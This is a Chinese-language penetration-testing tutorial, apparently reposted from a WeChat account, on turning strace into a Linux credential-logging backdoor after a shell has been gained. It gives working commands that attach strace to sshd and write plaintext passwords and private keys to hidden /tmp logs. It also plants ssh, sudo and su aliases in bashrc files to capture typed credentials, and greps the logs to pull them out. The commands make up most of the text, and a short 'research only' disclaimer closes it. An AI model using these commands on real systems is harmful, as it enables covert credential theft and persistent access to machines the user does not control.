愿中国青年都摆脱冷气,只是向上走, 不必听自暴自弃者流的话。能做事的做事,能发声的发声。有一分热,发一分光。—鲁迅
介绍
strace是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围
使用场景
通过其他方式拿到shell,通过history、流量抓包、或者本地没有翻到密码的情况。我们想要获取当前主机的密码,或者通过这台主机连接到其他主机的密码。
记录sshd进程明文密码
执行如下命令
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)、
当用户通过密码登录时,使用如下命令查看记录的密码
grep -E 'read(6, ".+\0\0\0\.+"' /tmp/.sshd.log
记录sshd私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
当用户通过私钥登录时,使用如下命令查看记录的私钥
grep 'PRIVATE KEY' /tmp/.sshd.log
记录ssh的登录凭证
我们还可以记录本机执行ssh、su等命令,这里以ssh为例
-
修改alias
# 添加命令
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 立即生效
source ~/.bashrc
-
执行
ssh 10.xx.xx.148 -l mysql
会在 /tmp/ 目录下多个log
读取log中记录的密码
grep -A 9 'password' .ssh-202月021613809979.log
记录sudo、su的alias
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
渗透测试教程
长按或扫码关注
本文始发于微信公众号(渗透测试教程):制作linux键盘记录后门
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论